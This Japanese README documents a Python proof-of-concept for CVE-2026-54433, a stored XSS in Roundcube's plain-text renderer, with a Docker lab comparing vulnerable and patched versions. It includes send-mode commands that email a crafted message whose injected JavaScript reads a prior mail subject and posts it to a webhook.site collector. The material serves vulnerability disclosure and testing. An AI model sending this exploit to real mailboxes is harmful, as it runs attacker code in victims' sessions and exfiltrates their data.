
CVE-2026-54433 用の設定可能な Python PoC。Roundcube のプレーンテキストメールレンダラーにおける格納型 XSS を扱います。巧妙に細工された .eml を生成し、SMTP 経由で送信して、Docker ラボで影響を検証します。

このリポジトリには、CVE-2026-54433 — Roundcube のプレーンテキストメールレンダラーにおける格納型クロスサイトスクリプティング脆弱性 — に対する設定可能な Python 概念実証が含まれています。認証されていない送信者は、細工された text/plain メッセージを配信できます。認証済みの Roundcube ユーザーがそのメッセージを開くかプレビューすると、攻撃者制御の JavaScript が Roundcube オリジン内で実行されます。
この PoC は、Cookie やメッセージ本文を収集することなく、認証されたセッションに対する具体的な影響を示します。具体的には、過去の 1 通のメッセージの件名を読み取り、その値、Roundcube オリジン、タスク名を URL エンコードされた POST フィールドとして許可されたコレクタに送信します。
警告
これはアクティブなエクスプロイトコードです。自分が所有するラボ内、または明示的にテストを許可されたシステムとメールボックスに対してのみ使用してください。送信モードは細工されたメールを送信し、既存の 1 件の件名をコレクタに開示する可能性があります。オフラインでの確認には
--generate-onlyを使用してください。
Roundcube は、プレーンテキストメッセージ内で見つかったアドレスをクリック可能な mailto: リンクに変換します。影響を受けるバージョンでは、オプションのクエリ接尾辞が \S+ でマッチされていました:
. '(\?\S+)?'
\S には < と > が含まれるため、電子メールアドレスのように始まる文字列によって、自動リンク置換が開始 HTML タグを消費し、残りがマークアップとして解釈される可能性があります。この最小形式がプリミティブを示しています:
上流の修正では、クエリ接尾辞が山括弧や空白を含めないように制限されています:
. '(\?[^<>\s]+)?'
ベンダーはこの問題を「ゼロクリック」と説明しています。リンククリックが不要だからです。認証済みの状態でメールを開く、またはプレビューすることは、ペイロードをレンダリングするメールクライアントの操作です。
| リリース系統 | 状態 |
|---|---|
| Roundcube 1.6.17 より前のバージョン | 影響あり |
| Roundcube 1.6.17 以降の 1.6.x | 修正済み |
| Roundcube 1.7.0 および 1.7.1 | 影響あり |
| Roundcube 1.7.2 以降 | 修正済み |
公開されている修正コミットは次のとおりです:
Roundcube 1.6.17 / 1.7.2 または新しいサポート対象リリースにアップグレードしてください。
text/plain としてレンダリングされる必要があります。src を使用して onerror を呼び出します。コレクタへのコールバックには、ブラウザのネットワーク到達性が依然として必要です。HttpOnly です。この PoC はそれを読み取ろうとはしません。その同一オリジンリクエストは自動的に認証済みセッションを使用し、別メッセージの件名が影響の証拠となります。実証される結果は、認証済み JavaScript の実行と、過去の 1 通のメール件名への読み取りアクセスです。アカウント乗っ取り、任意のメッセージ本文の窃取、サーバーサイドコード実行については、このリポジトリでは主張していません。
cve-2026-54433-poc.py は自己完結型で、Python 標準ライブラリのみを使用します。このスクリプトは次のことを行います:
text/plain メールを構築します;CVE-2026-54433 で始まらない最初の古い件名を選択します;subject、origin、task を /capture/<random-marker> に POST します;ペイロードは次の DOM コメントを挿入します:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
また、呼び出し側が指定した無害な本文を表示しながら、自動リンクされたアドレス断片と画像破損インジケータを非表示にします。
ネットワーク接続を行わずにメールを生成します:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
これにより次のファイルが書き出されます:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.json送信モードを使用する前に、生成されたメッセージを確認してください。
--collector の値には、Webhook.site の UUID、キャプチャ URL、または #!/view/ URL を指定できます。スクリプトはキャプチャエンドポイントとポーリングエンドポイントを自動的に導出します。
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
SMTP_PASSWORD がない場合、スクリプトはパスワードをエコーしたり保存したりせずに入力を求めます。別の名前の変数は --smtp-password-env NAME で選択できます。コマンドライン引数はプロセス一覧やシェル履歴に表示される可能性があるため、マルチユーザーシステムでは --smtp-password を避けてください。
スクリプトは送信前に明示的な YES を求めます。非対話型で既に許可を得ているラボの自動化では、--yes を渡してください。デフォルトではコールバックを最大 24 時間待機します。変更するには --timeout SECONDS を使用します。
Webhook.site 以外のコレクタの場合は、キャプチャベースとオプションの JSON ステータスエンドポイントを渡します:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
同梱の collector.py は、互換性のある /capture/<marker> および /status エンドポイントを実装しています。デフォルトではループバックにバインドします。実際の HTTPS 導入とアクセス制御は、意図的に許可を得たテスターに委ねられています。
このラボには公開されたホストポートはなく、合成メッセージのみが含まれます。同じ Python PoC を使用してトリガーを生成し、両方のメッセージを使い捨ての Dovecot メールボックスに配信し、使い捨てのヘッドレスブラウザでサインインし、注入されたハンドラが以前の件名を読み取ったかどうかを記録します。
必要なもの: Docker、Python 3、OpenSSL、jq。
脆弱性テスト:
./lab/run.sh
修正済みコントロール:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
ビデオまたはライブブラウザでのデモを行うには、次を実行します:
./lab/demo.sh
このスクリプトは、Roundcube とビジュアルコレクタをループバック上にのみ公開します。スクリプトが出力する 2 つの URL を開き、最初は空のコレクタを表示し、出力された合成認証情報でサインインし、トリガーメールをクリックして、コレクタに戻ります。キャプチャされた合成件名が自動更新テーブルに表示されます。Ctrl-C で使い捨てのコンテナとネットワークが削除されます。
ブラウザの操作と実際の Webhook.site コールバックを記録するには、再現可能なレコーダーを使用します。これには、Chrome、Xvfb、ffmpeg、Docker、および環境変数を通じて提供される許可済みの Webhook.site トークンが必要です:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
生成された MP4 には、表示されている Roundcube のトリガー行、注釈付きのマウスクリック、および受信した合成件名を表示する Webhook.site が示されます。トークンはソースツリーに保存されることはありません。
記録済み成果物: assets/CVE-2026-54433-webhook-demo.mp4
録画には、generate-only の Python 呼び出し、そのペイロード生成出力、Roundcube のクリック、および結果として生じる Webhook.site リクエストを示す、表示可能なターミナルパネルが含まれています。
ビジュアルデモは COLLECTOR_URL と COLLECTOR_VIEW_URL も受け付けます。両方を許可済みの Webhook.site トークンに向けると、実際のコレクタが合成件名を受信する様子を表示できます。無関係なリクエストが含まれるトークンを再利用しないでください。
エンドツーエンドの比較は、2026-08-14 に x86-64 Linux 上の Docker で実行されました:
成功時のコールバック本文(合成値、オリジンはサニタイズ済み):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
構造化されサニタイズされた比較は、docs/e2e-results.json にあります。
オフラインチェックは Python ソースをコンパイルし、新しい .eml を生成して、その MIME タイプ、ペイロードプリミティブ、表示本文、コメント、メタデータを検証します:
./verify.sh
RUN_DOCKER=1 を設定すると、両方のエンドツーエンド Docker コントロールが追加されます:
RUN_DOCKER=1 ./verify.sh
2026-08-14 時点で、GitHub、Exploit-Database、Packet Storm で CVE-2026-54433 を対象にした検索では、エンドツーエンドの脆弱性/修正済み比較を備えた、検証済みで設定可能なメール送信エクスプロイトは見つかりませんでした。ベンダーおよび脆弱性データベースのエントリ、スキャナーテンプレートの議論、説明的な記事はすでに存在していました。これは日付付きの検索スナップショットであり、他の PoC が存在し得ないという主張ではありません。
脆弱性発見: Bohdan Kurinnoy(Samsung R&D Institute Ukraine / SRUKR)。Roundcube によるクレジット記載のとおりです。
研究、影響の検証、エクスプロイトの実装: A. Ramos <[email protected]>(Twitter: @aramosf)。
CVE-2026-54433 Roundcube プレーンテキストメール格納型 XSS PoC。認証済みメールボックスの件名を限定した証拠と、脆弱性/修正済みの Docker ラボを備えています。
| コントロール | イメージダイジェスト | 注入されたハンドラ | 以前の件名の送信 | 結果 |
|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) あり | はい、URLエンコードされたPOST | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | なし。マークアップはエスケープ済み | コールバックなし | NOT_CONFIRMED |